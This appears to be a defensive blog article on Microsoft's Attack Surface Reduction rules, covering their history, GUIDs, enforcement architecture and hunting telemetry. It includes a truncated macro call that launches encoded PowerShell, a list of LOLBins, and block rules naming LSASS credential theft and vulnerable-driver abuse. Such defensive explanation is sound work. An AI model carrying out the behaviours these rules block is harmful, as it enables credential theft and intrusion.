Parag Mali - tag: byovd

Attack Surface Reduction Rules: The Quiet Layer That Stopped Office Macros

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**Attack Surface Reduction (ASR) rules are Microsoft's nineteen-rule, kernel-mediated, free-with-Windows behaviour block list.** Each rule names a single edge in the runtime process / file-system / registry graph -- Office spawning child processes, scripts launching downloaded executables, processes opening LSASS, vulnerable signed drivers being written -- and refuses to let it happen. Shipping since Windows 10 1709 (October 2017) [@ms-security-blog-exploit-guard-2017], the rules killed the cheap end of the Office-macro initial-access chain at the enterprise tier; the Microsoft 365 Apps default block of internet-marked macros (February and July 2022) [@ms-techcommunity-internet-macros-2022] and Europol's Operation LadyBird (January 2021) [@europol-emotet-disrupted-wayback] finished the era at the consumer tier and the C2 tier respectively. The layer is incomplete by construction -- Cohen-1984 undecidability forbids a complete behaviour catalogue [@cohen-1984-part1] -- but it compresses attacker bypass cost so effectively that the SOC routinely does not triage the blocks. Every rule emits a rule-specific Advanced Hunting `ActionType` such as `AsrOfficeChildProcessBlocked`; the folk-knowledge generic `AsrRuleTriggered` does not exist [@ms-learn-asr-reference].

1. One Block, No Analyst Ticket

At 03:42 on a Tuesday morning in Frankfurt, a finance analyst opens an invoice attached to an email that looks like one she has answered fifty times before. The document's Document_Open macro fires, the VBA calls Shell("powershell.exe -enc ..."), and nothing happens. No PowerShell window. No second-stage download. No banking-trojan loader. No ransom note three weeks later. The only artefact is one row in Microsoft Defender for Endpoint's DeviceEvents table, with ActionType equal to AsrOfficeChildProcessBlocked, that no analyst will triage because there is nothing left to triage [@ms-learn-asr-reference].

That row, and the silence around it, is the entire subject of this article.

To understand why nothing happened, watch the call in slow motion. WINWORD.EXE is a long-running user-mode process. The macro's process-creation call crosses the syscall boundary into the kernel's process-management subsystem, where Microsoft Defender Antivirus has registered a process-creation notify routine. Defender's kernel-mode driver WdFilter.sys -- registered with the Windows Filter Manager as a file-system minifilter AND with the kernel's process subsystem via PsSetCreateProcessNotifyRoutineEx -- intercepts the event through its process-creation notify routine before the new process runs and hands it to the user-mode antivirus engine MsMpEng.exe. (Section 5 walks the kernel/user-mode split in full.) MsMpEng.exe evaluates the rule with GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A -- "Block all Office applications from creating child processes" [@ms-learn-asr-reference]. The predicate evaluates true. The rule is set to Block. The minifilter fails the operation. The macro gets a non-zero error from its process-creation call. The spawn never happens.

A fixed catalogue of behavioural blocks shipped as a feature of Microsoft Defender Antivirus on Windows 10 1709 and later, Windows 11, and supported Windows Server editions. Each rule names a specific runtime behaviour -- "Office applications creating child processes," "credential stealing from the Windows local security authority subsystem," "abuse of exploited vulnerable signed drivers" -- and can be enabled in Audit, Warn, or Block mode through Microsoft Intune, Microsoft Configuration Manager, Group Policy, PowerShell, or the Defender for Endpoint portal. As of May 2026 the catalogue contains nineteen rules: three Standard protection rules and sixteen Other ASR rules [@ms-learn-asr-reference].

Notice what the rule did not do. It did not classify the binary. Both WINWORD.EXE and powershell.exe are signed by Microsoft. Both have multi-decade Authenticode reputation. Both have appeared on every reasonable allow-list since Windows 7. A signature engine, asked "is the macro malicious," would have had to read the macro's bytes, normalise its obfuscation, and decide whether the sequence of Office object-model calls plus a base64 blob constitutes hostile intent. That decision is hard in the easy cases and undecidable in general. The rule sidestepped the whole question. It classified the edge between two perfectly legitimate signed binaries: WINWORD.EXE becoming the parent of powershell.exe. The bytes are not the predicate. The parent-child relationship is.

The folklore that "every ASR block emits ActionType == 'AsrRuleTriggered'" survives in vendor playbooks and Stack Overflow answers but does not match Microsoft Learn's current rules reference, which enumerates a rule-specific Asr<RuleName>Audited and Asr<RuleName>Blocked pair for every rule except the server-only Webshell rule. The canonical Advanced Hunting filter is where ActionType startswith "Asr", not equality against a generic value [@ms-learn-asr-reference].

The Frankfurt analyst's hypothetical Tuesday is one of millions. Defender Antivirus ships on every supported edition of Windows [@ms-learn-asr-reference]. The Office-child-process rule has been blockable since October 2017 [@ms-security-blog-exploit-guard-2017]. It is not the only ASR rule, and ASR is not the only layer that ended the Emotet macro era. Europol's January 27, 2021 takedown and the Microsoft 365 Apps default block of internet macros in February and July 2022 share the credit. But ASR is the layer with the deepest enforcement substrate (a kernel-mode minifilter), the fullest behavioural catalogue (nineteen rules naming specific runtime edges), and the simplest mental model for a defender: name a behaviour, ship an enforcement edge, audit, then block.

Note: Signature engines classify nodes (is this binary malicious?). AppLocker classifies identities (is this binary on the allow-list?). ASR classifies edges in the runtime graph (did this specific parent-child invocation happen?). Section 5 builds the framework. The catalogue in Section 6 reads as nineteen named edges once you see it.

The rest of the article walks the ten questions the Frankfurt block raises. If signatures cannot tell us whether the analyst's macro is malicious -- because both binaries are signed and the static fingerprint of the macro changes every campaign -- how exactly did one row in DeviceEvents know to fire? What does the kernel see that the signature engine does not? Why did three predecessor paradigms (signatures, AppLocker, EMET) fail to close this specific gap, and what made October 2017 the moment Microsoft decided to ship a behaviour catalogue instead of a better classifier? Section 2 starts with the empirical signal that forced the shift.

2. Why Signatures Stopped Being Enough

By the time Microsoft published the October 23, 2017 Windows Defender Exploit Guard launch announcement, the team had a single sentence ready for the executive summary: "fileless attacks, which compose over 50% of all threats" [@ms-security-blog-exploit-guard-2017]. That line did two jobs. It justified shipping ASR. It also marked the moment the signature model hit its industrial-scale ceiling.

Despite advances in antivirus detection capabilities, attackers are continuously adapting ... This emerging trend of fileless attacks, which compose over 50% of all threats, are extremely dangerous, constantly changing, and designed to evade traditional AV. -- Microsoft Threat Intelligence team, October 23, 2017 [@ms-security-blog-exploit-guard-2017]

The 50-percent number is a 2017-vintage Microsoft characterisation, not a peer-reviewed empirical study, but it captures a structural shift that every endpoint-defence vendor had been watching for three years. Three forces had converged.

First, mature crypters and packers had defeated static signatures. The classic AV pipeline -- compute a hash, match against a corpus of known-bad hashes -- assumed attackers shipped a small number of stable binaries. By 2017 the typical commodity malware family rebuilt its payload on every campaign, layered three encryption stages, and emerged as a polymorphic blob whose static fingerprint changed faster than the signature feed. Fred Cohen had warned in 1984 that any complete malicious-program detector reduces to the Halting Problem [@cohen-1984-part1]; commodity packers were the industrial-scale form of that result.

Second, attackers had moved off custom binaries entirely. The Living-Off-the-Land Binaries, Scripts, and Libraries project -- LOLBAS -- catalogues over two hundred Microsoft-signed Windows binaries that attackers use to execute malicious behaviour without dropping any malware artefact on disk [@lolbas-project]. powershell.exe, cmd.exe, wscript.exe, mshta.exe, regsvr32.exe, rundll32.exe, cmstp.exe, msdt.exe, msbuild.exe, installutil.exe -- all signed by Microsoft, all on every reasonable allow-list, all capable of executing arbitrary code given the right command line. The on-disk artefact is benign; the malice lives in the runtime edge between two signed binaries.

A signed Microsoft Windows binary that attackers use to execute malicious behaviour while staying off identity-based allow-lists. The LOLBAS Project enumerates over two hundred such binaries together with the abuse classes each enables and the MITRE ATT&CK techniques each maps to [@lolbas-project].

Third, Office macros had become the dominant initial-access vector. Emotet first appeared as a banking trojan in June 2014; by 2017 it had transformed into a crime-as-a-service loader platform that delivered TrickBot, Dridex, IcedID, and eventually Conti and Ryuk to its access buyers [@welivesecurity-emotet-pivot-2022]. The delivery vehicle barely changed across that pivot: a Word or Excel document, a Visual Basic for Applications macro, a call into Shell, WScript.Shell.Run, or the Windows Management Instrumentation provider to spawn the next stage. The malice was never inside WINWORD.EXE. The malice was in the edge that connected WINWORD.EXE to whichever signed Microsoft binary the operator decided to spawn.

The NTFS alternate data stream `Zone.Identifier` written by browsers, mail clients, and archive extractors to flag a file as originating from outside the local machine. Office uses the MOTW to drop a downloaded document into Protected View; the February 2022 Microsoft 365 Apps internet-macro default block treats the MOTW as the trigger to remove the "Enable Content" button entirely [@ms-learn-internet-macros-blocked].

The pre-2017 defence stack covered slices of this problem, but no layer covered the specific behaviour class "an Office application creates a child process." AV signatures and heuristics scored the binaries; both were signed Microsoft binaries. AppLocker (2009) decided whether a binary was allowed to run; both were on the allow-list. EMET (2009) blocked memory-corruption exploit primitives; the macro chain involved no memory corruption. Reputation-based file blocking covered downloaded payloads; the payload was a base64 string passed on the PowerShell command line, never written to disk. Each layer answered a different question. None answered the question the macro chain raised.

The strategic shift Microsoft eventually made was small in the framing and enormous in the consequences. Instead of asking "is this binary malicious?" -- a question undecidable in general -- the next layer would ask "did the suspicious behaviour happen?" The new question is decidable per event at the OS interception layer, because the kernel sees every process-creation call, every image load, every file write, every registry set. Edge classification does not require static analysis; it requires only that the kernel be wired to ask one extra predicate before completing the operation.

The named author at the bottom of the 2017 launch post body (fetched 2026-05-26) is Misha Kutsovsky (@mkutsovsky), Program Manager, Windows Active Defense. The top-of-page byline and <meta name="author"> tag have since been consolidated under the "Microsoft Threat Intelligence" institutional account during Microsoft's 2022-2025 re-platforming of older Security Blog posts; the in-body attribution is unchanged. This article cites the institutional author as it appears in the page head; the named person at the bottom of the body is Kutsovsky [@ms-security-blog-exploit-guard-2017].

One taxonomy point deserves its own paragraph, because confusion about it shapes most beginner questions about ASR. Microsoft Defender Antivirus is the on-host scanning engine that ships free with every Windows edition. Microsoft Defender for Endpoint (MDE) is the cloud-managed EDR layer Microsoft sells on top. ASR rules live inside Defender Antivirus. They run whether or not the device is enrolled in MDE. MDE adds management, telemetry ingestion through the DeviceEvents table, and Advanced Hunting; it does not add the enforcement. The Frankfurt block fires in Defender Antivirus; the DeviceEvents row only reaches MDE if MDE is connected. The EDR-in-block-mode page is explicit on the dependency: ASR rules run only when Defender Antivirus is in Active mode, never when a third-party AV is primary and Defender is passive [@ms-learn-edr-in-block-mode].

By 2014-2015 the Microsoft Defender team had identified the problem. They did not invent the answer from scratch. They inherited a Windows defence stack that had been trying to solve the same problem for sixteen years, in three earlier paradigms. What were they, and why did none of them stop Emotet?

3. AppLocker, EMET, and What They Could Not Do

Three predecessor paradigms. Three different failures. Three different lessons that Microsoft eventually folded into the design of ASR.

AppLocker (2009, Windows 7)

AppLocker was the identity-based answer to the question "which binaries are allowed to run on this endpoint?" Administrators write rules that allow or deny executable code by publisher, by path, or by file hash; the kernel enforces the policy at process-creation time. Microsoft Learn still describes AppLocker as the Windows 7-era predecessor to App Control for Business, and the design has not changed structurally in the intervening sixteen years [@ms-learn-applocker]. AppLocker is genuinely stricter than ASR on the identity axis. A well-tuned AppLocker policy on a hardened endpoint enforces default-deny: only allowed publishers, only allowed paths, only allowed hashes ever execute.

AppLocker has two practical weaknesses and one structural one. The first practical weakness is brittleness against signed LOLBins: powershell.exe, cmd.exe, wscript.exe, mshta.exe, regsvr32.exe, rundll32.exe, cmstp.exe, msdt.exe, msbuild.exe, installutil.exe are all on every reasonable AppLocker allow-list because every legitimate IT-automation pipeline depends on them [@lolbas-project]. The second is admin-deployment overhead: every new line-of-business application needs an explicit rule addition, large estates fall back to Audit mode permanently, and exception sprawl turns the policy into a sieve.

The structural weakness is the one that matters here. The AppLocker rule grammar has no slot for "WINWORD.EXE may run, but it may not be the parent of cmd.exe." That sentence is a property of an edge in the runtime graph, and the AppLocker schema models nodes, not edges.

EMET (2009-2018)

The Enhanced Mitigation Experience Toolkit was Microsoft's per-process opt-in exploit-time mitigation framework. Data Execution Prevention, Address Space Layout Randomization, Structured Exception Handler Overwrite Protection, the Export Address Table Access Filter, anti-Return-Oriented-Programming heuristics, caller-checks, heap-spray pre-allocation -- EMET stitched the menu together for any process the administrator opted in. EMET stopped buffer overflows from achieving code execution. It made the cheap exploit-development pipeline visibly more expensive.

EMET did not stop the Emotet macro chain. The chain involved no memory corruption. The chain was a legitimately loaded, uncorrupted, signed Office application making a perfectly ordinary user-mode parent-child process-creation call. There was no exploit primitive to mitigate. The 2017 Exploit Guard launch announcement said the same in cleaner language: Exploit Protection (the Windows-integrated pillar that absorbed EMET's mitigations) and Attack Surface Reduction (the new pillar) cover different gaps, because exploit-time mitigations and post-exploit behaviour blocks address different attacker stages [@ms-security-blog-exploit-guard-2017]. EMET reached end-of-life on July 31, 2018 per the Microsoft product lifecycle page [@ms-lifecycle-emet]; its mitigations live on under different names in the Exploit Protection panel of Windows Security.

Signature and heuristic AV

The third predecessor is the one Cohen's 1984 paper had already analysed. Signature and heuristic AV classify nodes, which is to say they answer "is this binary, considered as a sequence of bytes, malicious?" Cohen proved that the general form of that question reduces to the Halting Problem. The verbatim sentence from his open-access archive is the cleanest one-line statement of the result [@cohen-1984-part1]:

The classical result, established in Fred Cohen's 1984 paper "Computer Viruses: Theory and Experiments" (presented at the 7th DoD/NBS Computer Security Conference and reprinted in Computers and Security 6(1):22-35 in January 1987), that detection of arbitrary viral behaviour in a program reduces to the Halting Problem. The diagonal construction assumes a decider `D(P)` for viral behaviour; constructs a program `V` that calls `D(V)` and behaves virally iff `D(V) = 0`; derives a contradiction. The corollary -- any non-trivial semantic property of programs is undecidable -- is the Rice-1953 generalisation [@cohen-1984-part1].

The practical version of the ceiling for the Emotet case is that a signature engine cannot, in general, distinguish a Word macro that legitimately spawns cmd.exe to run an IT-automation script from a Word macro that spawns cmd.exe to launch the Emotet stage-two PowerShell stub. Both call the same Win32 API. Both pass argument strings the engine cannot prove are malicious without modelling the operator's intent. The fingerprint of the malice is not in the binaries; it is in the runtime relationship between them.

The three paradigms -- signature, identity, edge -- are not redundant. Modern defence-in-depth runs all three because each closes a different attacker option. Signatures detect known-bad binaries cheaply; identity controls restrict which binaries may run at all; edge classification refuses specific behavioural relationships among allowed binaries. AppLocker without ASR lets `WINWORD` spawn PowerShell. ASR without AppLocker permits any unsigned binary to ship with the next campaign. Neither alone covers the gap. Section 7 makes the layering explicit as a comparison matrix.

The three together demonstrate that the Windows endpoint defence stack of 2017 was structurally node-classifying or identity-classifying, with no layer modelling the runtime edge. The strategic gap is the slot ASR was designed to fill.

On October 17, 2017, Microsoft shipped Windows 10 Fall Creators Update (build 1709) [@windows-blog-fall-creators-update-2017]. Six days later, the Microsoft Security Blog named the new pillar: Attack Surface Reduction [@ms-security-blog-exploit-guard-2017]. What did the first eight rules do, and how did they finally model the edge that AppLocker, EMET, and signatures could not?

4. The Evolution, Generation by Generation

October 23, 2017. The Microsoft Security Blog publishes "Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware" [@ms-security-blog-exploit-guard-2017]. The post names four pillars: Attack Surface Reduction, Network Protection, Controlled Folder Access, and Exploit Protection. The first pillar ships with eight rules. Nine years later the catalogue is nineteen rules wide. Each generation closed a specific attacker behaviour; each generation produced a published bypass within months.

flowchart TD G1["Gen 1 - Oct 2017 (1709) - 8 Office, script, email rules"] G2["Gen 2 - 2018-2019 (1803-1903) - LSASS, PSExec/WMI, prevalence, Adobe, WMI persistence"] G3["Gen 3 - Apr 2020 - Warn mode added, platform 4.18.2008.9"] G4a["Gen 4a - Dec 2021 / 2022 - BYOVD rule, Vulnerable Driver Reporting Center"] G4b["Gen 4b - Feb/Jul 2022 - Parallel layer, M365 Apps internet-macro default block"] G5["Gen 5 - 2023-2026 - Standard protection partition, Webshell, Safe Mode reboot, copied tools, USB, Outlook child-process rules"] G1 --> G2 --> G3 --> G4a --> G4b --> G5

Generation 1, October 2017 -- the eight launch rules

The launch rules, as listed verbatim in the 2017 announcement, are the Office-macro response pack [@ms-security-blog-exploit-guard-2017]:

Block Office applications from creating executable content
Block Office applications from launching child processes
Block Office applications from injecting into other processes
Block Win32 imports from macro code in Office
Block obfuscated macro code (and other obfuscated scripts, AMSI-backed)
Block JavaScript or VBScript from launching downloaded executable content
Block execution of executable content dropped from email or webmail
Block malicious JavaScript and VBScript scripts (AMSI-backed)

None of these rules solves a node-classification problem. Each rule names a single edge in the runtime process / file-system / registry graph and refuses to let it happen. "Block Office applications from creating child processes" is not "is WINWORD.EXE malicious?" but "did WINWORD.EXE just try to be the parent of another process?" The kernel answers the question with one comparison against the parent image path.

Generation 2, 2018-2019 -- credential theft, lateral movement, persistence

Between Windows 10 1803 (April 2018) and 1903 (May 2019) the catalogue expanded beyond Office to the rest of the attacker intrusion chain. Six new rules with their GUIDs, from the Microsoft Learn rules reference [@ms-learn-asr-reference]:

Block credential stealing from the Windows local security authority subsystem -- 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -- introduced 1803. The Mimikatz response: refuse process handles to lsass.exe with rights sufficient to read its address space.
Block executable files from running unless they meet a prevalence, age, or trusted list criterion -- 01443614-cd74-433a-b99e-2ecdc07bfc25 -- 1803. The unique-binary-per-campaign response, leaning on cloud-protection (MAPS) reputation.
Block process creations originating from PSExec and WMI commands -- d1e49aac-8f56-4280-b9ba-993a6d77406c -- 1803. The Emotet lateral-movement response.
Use advanced protection against ransomware -- c1db55ab-c21a-4637-bb3f-a12568109d35 -- 1803. The mass-encryption-detection response, also cloud-protection-dependent.
Block Adobe Reader from creating child processes -- 7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c -- 1809. The PDF-exploit-spawning-payload response.
Block persistence through WMI event subscription -- e6db77e5-3df2-4cf1-b95a-636979351e5b -- 1903. The APT29 / Cobalt Strike __FilterToConsumerBinding response.

Each rule is a direct response to a specific attacker move. The LSASS rule answers Mimikatz. The PSExec/WMI rule answers Emotet's lateral movement. The WMI persistence rule answers permanent-implant techniques that survive reboot through the WMI repository.

The PSExec/WMI rule (d1e49aac-...) is the textbook example of an ASR rule with high enterprise friction. Microsoft Configuration Manager (formerly SCCM) relies heavily on WMI; Microsoft Learn's overview page explicitly tells administrators not to set this rule to Block or Warn without extensive Audit-mode testing if Configuration Manager manages the device, "because the Configuration Manager client relies heavily on WMI" [@ms-learn-asr-overview]. Most large estates therefore run this rule in Audit indefinitely.

Generation 3, April 2020 -- Warn mode

Until 2020, the only choices for an ASR rule were Audit (logs only) and Block (the operation fails). The middle ground was a productivity problem: a power user whose legitimate IT-automation macro was being blocked had no recourse short of a help-desk ticket. The Microsoft Defender team's "Demystifying attack surface reduction rules - Part 1" Tech Community post, modified time April 22, 2020, announced the third mode -- Warn -- with a user-facing block dialog and a 24-hour per-user per-rule per-app exclusion cache [@techcommunity-demystifying-asr-part1].

Two precision facts deserve to be stated cleanly, because both contradict secondary-source folklore.

First, the platform prerequisite for Warn mode is Microsoft Defender Antivirus platform release 4.18.2008.9 (August 2020) or later, engine release 1.1.17400.5 or later [@ms-learn-asr-overview]. The older secondary-blog claim of "4.18.2001.10 / January 2020" is contradicted by Microsoft Learn's current canonical page and should not be repeated.

Second, exactly two ASR rules deliberately skip Warn mode and go straight from Audit to Block, not five. Microsoft Learn's overview page lists them verbatim: "Block credential stealing from the Windows local security authority subsystem" and "Block Office applications from injecting code into other processes" [@ms-learn-asr-overview]. The folklore that lists five no-Warn rules (sometimes including the Webshell rule, the Safe Mode reboot rule, and the copied-tools rule) is wrong. The rules reference page enumerates Warn-mode bypass ActionType variants for the Safe Mode reboot rule (AsrSafeModeRebootWarnBypassed) and the copied-tools rule (AsrAbusedSystemToolWarnBypassed) -- direct byte-level proof that those rules do support Warn [@ms-learn-asr-reference].

flowchart LR A["Audit - Log only, no enforcement"] --> W["Warn - User can bypass for 24h"] W --> B["Block - Operation fails"] A2["LSASS rule and Office injection rule"] --> A A2 --> B

The reason these two rules skip Warn is structural, not cosmetic. A low-privilege user cannot meaningfully consent to a process opening LSASS memory; the consent dialog would itself be a credential-theft enabler. Likewise, a non-admin user cannot rationally decide whether WINWORD.EXE should be allowed to inject shellcode into explorer.exe; the request encodes its own malice. The remaining sixteen rules support the full Audit, Warn, Block ladder.

Generation 4a, December 2021 -- the BYOVD rule

The 2020-2022 era brought a new attacker move into mainstream incident response: Bring Your Own Vulnerable Driver, or BYOVD. The attacker imports a legitimate, signed, but vulnerable kernel driver, exploits its bug to gain kernel-mode primitives, uses those primitives to disable EDR and antivirus monitoring, and proceeds.

The 2021 motivating events made the threat unambiguous. Lazarus's autumn-2021 abuse of CVE-2021-21551 (Dell dbutil_2_3.sys) was the first recorded in-the-wild abuse of that driver, disclosed by ESET on September 30, 2022 [@welivesecurity-lazarus-byovd-2022] [@nvd-cve-2021-21551]. BlackByte's October 2022 abuse of CVE-2019-16098 (MSI Afterburner RTCore64.sys) was documented by Sophos with one of the year's defining lines: "disabling a whopping list of over 1,000 drivers on which security products rely to provide protection" [@sophos-blackbyte-returns-2022] [@nvd-cve-2019-16098].

An attack pattern in which the operator imports a signed but exploitable kernel driver into the victim environment, exploits a known driver vulnerability to obtain kernel-mode primitives (typically arbitrary memory read or write), and uses those primitives to disable security telemetry. CVE-2021-21551 (Dell DBUtil) and CVE-2019-16098 (MSI Afterburner) are the canonical examples; the Sophos write-up of BlackByte's RTCore64.sys abuse documents disabling roughly one thousand security-product drivers [@nvd-cve-2021-21551] [@nvd-cve-2019-16098] [@sophos-blackbyte-returns-2022].

Microsoft launched the Vulnerable and Malicious Driver Reporting Center on December 8, 2021, explicitly naming the new ASR rule as the enforcement layer alongside the kernel-load-time Vulnerable Driver Blocklist [@ms-security-blog-vulnerable-driver-center]. The ASR rule is "Block abuse of exploited vulnerable signed drivers (Device)" -- GUID 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-learn-asr-reference]. The Windows 11 22H2 release on September 20, 2022 [@windows-blog-windows-11-2022-update] made the Microsoft Vulnerable Driver Blocklist default-on for all devices, which is the kernel-load-time sibling to the ASR write-time block [@ms-learn-driver-block-rules].

Generation 4b, February and July 2022 -- the parallel layer

This is the generation that deserves the most honest framing in the article, because the marketing version oversimplifies what actually happened to Office macros.

Tom Gallagher's February 7, 2022 Microsoft 365 Blog post announces the default block of VBA macros in MOTW-internet documents [@ms-techcommunity-internet-macros-2022]. The trust bar removes the "Enable Content" button entirely. Microsoft pauses the rollout on July 8, 2022 for usability adjustments, then resumes on July 20, 2022 -- both dates verifiable from the post's article:modified_time metadata. ESET's June 2022 write-up confirms the intended effect: between April 26 and May 2, 2022 Emotet operators were already testing LNK and ISO replacements for the macro carrier [@welivesecurity-emotet-pivot-2022].

A wide range of threat actors continue to target our customers by sending documents and luring them into enabling malicious macro code. -- Tom Gallagher, Partner Group Engineering Manager, Office Security, February 7, 2022 [@ms-techcommunity-internet-macros-2022]

The Microsoft 365 Apps default block is not a generation of ASR. It is a parallel layer that ships inside Office, runs against every Microsoft 365 Apps installation managed or unmanaged, and uses the MOTW as its trigger rather than the kernel-mode minifilter. It cooperates with ASR; it does not subsume ASR.

The popular "ASR stopped Office macros" claim is half right. The Office-macro era ended through three layers in combination: (1) Europol's Operation LadyBird on January 27, 2021, coordinated international takedown of Emotet's command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) ASR's 2017-onward Office rules at the enterprise tier, managed through Intune, Group Policy, or Defender for Endpoint; (3) the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier, default-on for every Microsoft 365 installation since the July 2022 staged rollout [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer; it was not the only layer. The polished version of the story names all three.

A coincidence worth noting: Europol's Operation LadyBird seized Emotet's command-and-control infrastructure on January 27, 2021 [@europol-emotet-disrupted-wayback]. SANS Internet Storm Center Diary 27036, published the same day by handler Daniel Wesemann, documented the canonical WMI-grandparent bypass to the Office-child-process ASR rule [@sans-isc-27036-emotet-asr]. A takedown and a bypass landed on the same Wednesday.

Generation 5, 2023-2026 -- Standard protection and the long tail

By 2023 Microsoft had enough deployment telemetry to partition the rules into two categories. The Standard protection rules are the three with a low false-positive floor, safe to enable in Block mode without staged rollout: BYOVD, LSASS credential-theft, and WMI persistence [@ms-learn-asr-overview]. The remaining sixteen are Other ASR rules and require the full Audit, Warn, Block ladder. Several new rules landed in this period [@ms-learn-asr-reference]:

Block Webshell creation for Servers -- a8f5898e-1dc8-49a9-9878-85004b8a61e6 -- the post-HAFNIUM / ProxyShell response. This is the only rule in the catalogue whose row in the Microsoft Learn reference shows "N" for EDR alerts, meaning it does not emit a paired Audited and Blocked ActionType in DeviceEvents. Defenders hunt blocked webshell drops through MpCmdRun.log and IIS access logs, not Advanced Hunting.
Block rebooting machine in Safe Mode -- 33ddedf1-c6e0-47cb-833e-de6133960387 -- the BlackByte-era safe-mode-encryption response.
Block use of copied or impersonated system tools -- c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb -- the rename-and-relocate evasion response (attackers copying cmd.exe to a writable path and renaming it update.exe).
Block untrusted and unsigned processes that run from USB -- b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 -- the BadUSB / removable-media response.
Block Office communication application from creating child processes -- 26190899-1602-49e8-8b27-eb1d0a1ce869 -- the Outlook variant of the Office-child-process rule.

The three ASR rules Microsoft classifies as safe to enable in Block mode without staged rollout: Block abuse of exploited vulnerable signed drivers, Block credential stealing from the Windows local security authority subsystem, and Block persistence through WMI event subscription. The classification appears verbatim on the ASR rules overview page [@ms-learn-asr-overview]. The LSASS rule is redundant when LSA Protection is enabled; the WMI persistence rule still requires Audit testing if Microsoft Configuration Manager manages the device.

The catalogue stands at 19 rules as of May 2026 -- three Standard protection rules and sixteen Other ASR rules, the count inclusive of the server-only Webshell rule that does not emit DeviceEvents [@ms-learn-asr-reference]. The pattern is consistent enough that the next section gives it a name.

5. Edges, Not Nodes

The structural pivot the whole article rests on can be written in one sentence: signatures classify nodes; AppLocker classifies identities; ASR classifies edges in the runtime graph. The rest of this section unpacks what that means and why it matters.

A node in the runtime graph is a binary or a file -- the kind of thing static analysis can fingerprint. An edge is a runtime relationship between two nodes: process A creating process B, process A writing file F, process A opening a handle to LSASS memory, the WMI repository writing a new __FilterToConsumerBinding. Signatures answer "is this node bad?" -- undecidable in general per Cohen 1984 [@cohen-1984-part1]. AppLocker answers "is this node's identity on the allow-list?" -- decidable but blind to LOLBin chains [@lolbas-project]. ASR answers "did this specific edge happen?" -- decidable per event at the OS interception layer.

The Cohen sidestep is precise. Cohen 1984 proved that classifying nodes ("is this program malicious?") is undecidable in general, via a reduction to the Halting Problem. He did not prove that classifying runtime edges is undecidable, because "did this specific parent-child invocation just happen?" is an observable proposition. The kernel sees the system call. The decision is local. No static analysis is required. ASR is the canonical industrial instantiation of that insight; every generation in Section 4 is a catalogue extension within the edge-classification approach, not a structural reframing of it.

Key idea: Signatures classify nodes. AppLocker classifies identities. ASR classifies edges in the runtime graph. By moving from node classification to edge classification, Microsoft sidesteps Cohen-1984 undecidability in the practical sense: you do not need to decide whether the binary is malicious, only whether the edge happened. The kernel sees the edge.

Where does the enforcement actually live? The "kernel-mediated" framing earns its phrasing in three precise pieces.

First, WdFilter.sys is the Microsoft Defender Antivirus minifilter driver.An altitude, in Windows Filter Manager terminology, is a 32-bit decimal that determines the order in which file-system minifilters see I/O. Higher altitudes see I/O first on the way down to the file system and last on the way back up. Anti-virus drivers live in the 320000-329998 band. It is registered with the Windows Filter Manager in the FSFilter Anti-Virus altitude band (320000-329998), specifically at altitude 328010 per Microsoft's IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in kernel mode and intercepts process-creation, image-load, file-write, and (for some rules) WMI and registry edges through Filter Manager pre-operation callbacks and process / image-load notify routines.

The Microsoft Defender Antivirus minifilter driver. Registered with the Windows Filter Manager at altitude 328010 in the FSFilter Anti-Virus band (320000-329998) per Microsoft's allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]. It runs in kernel mode and hosts the interception callbacks that ASR uses to see process-creation, image-load, and file-write edges before the user-mode actor completes the operation.

Second, MsMpEng.exe is the Defender Antivirus service process. It runs in user mode at integrity level System. For every intercepted edge it consults the per-rule predicate, the per-rule exclusion list, and (for cloud-protected rules) the Microsoft Active Protection Service reputation, then returns Audit, Warn, or Block. The kernel/user-mode split is structural, not accidental. Interception must happen in the kernel before the user-mode actor completes the call. But exclusion-list lookup and cloud reputation are not appropriate inside a minifilter that holds the IRP open.

The Microsoft Defender Antivirus service process. Runs in user mode at integrity level System and hosts the policy-evaluation engine that decides Audit, Warn, or Block for every edge intercepted by `WdFilter.sys`. The two together form the kernel-mediated, user-mode-evaluated enforcement architecture that ASR relies on.

Third, telemetry. ASR blocks land in Defender for Endpoint's DeviceEvents Advanced Hunting table with a rule-specific ActionType such as AsrOfficeChildProcessBlocked or AsrLsassCredentialTheftBlocked. The rules reference enumerates a paired Audited and Blocked ActionType for every rule except the Webshell rule, which is the only one without a DeviceEvents row [@ms-learn-asr-reference]. The universal hunting query is DeviceEvents | where ActionType startswith "Asr". The generic AsrRuleTriggered is folk wisdom; it has never existed.

Microsoft Defender for Endpoint's Kusto Query Language (KQL) surface over endpoint telemetry. ASR blocks and audit events land in the `DeviceEvents` table with rule-specific `ActionType` values. Defenders combine `DeviceEvents` with `DeviceProcessEvents`, `DeviceFileEvents`, and `DeviceImageLoadEvents` to assemble the corroborating edge data around any ASR row [@ms-learn-asr-reference]. flowchart LR P["User-mode process
WINWORD.EXE"] -->|"CreateProcessW"| K["Windows kernel
process-creation notify"] K --> WD["WdFilter.sys
kernel-mode minifilter
altitude 328010"] WD -->|"edge event"| MP["MsMpEng.exe
user-mode service
rule predicate + exclusions + MAPS"] MP -->|"Audit / Warn / Block"| WD WD -->|"fail or allow CreateProcessW"| P MP -->|"telemetry"| DE["DeviceEvents
ActionType = AsrOfficeChildProcessBlocked"] A common misconception is "ASR runs in the kernel." That is partially true and structurally incomplete. The interception point is kernel-mode; the policy evaluation is user-mode. Both are necessary. The kernel must see the edge before the user-mode actor completes the operation, but the cloud reputation lookup and the per-rule exclusion list are not appropriate to run inside a minifilter that holds the IRP open. The correct one-line framing is "kernel-mediated interception, user-mode policy evaluation."

The marginal performance cost of an ASR check is bounded by the existing WdFilter.sys callout that already runs for real-time scanning. ASR piggybacks on callouts the antivirus engine has already paid for. Microsoft has not published a number isolating ASR per-event overhead from broader minifilter cost; the IFS allocated-altitudes page is the closest published reference [@ms-learn-ifs-allocated-altitudes]. The sub-microsecond-per-event framing is INFERRED from the architecture, not measured.

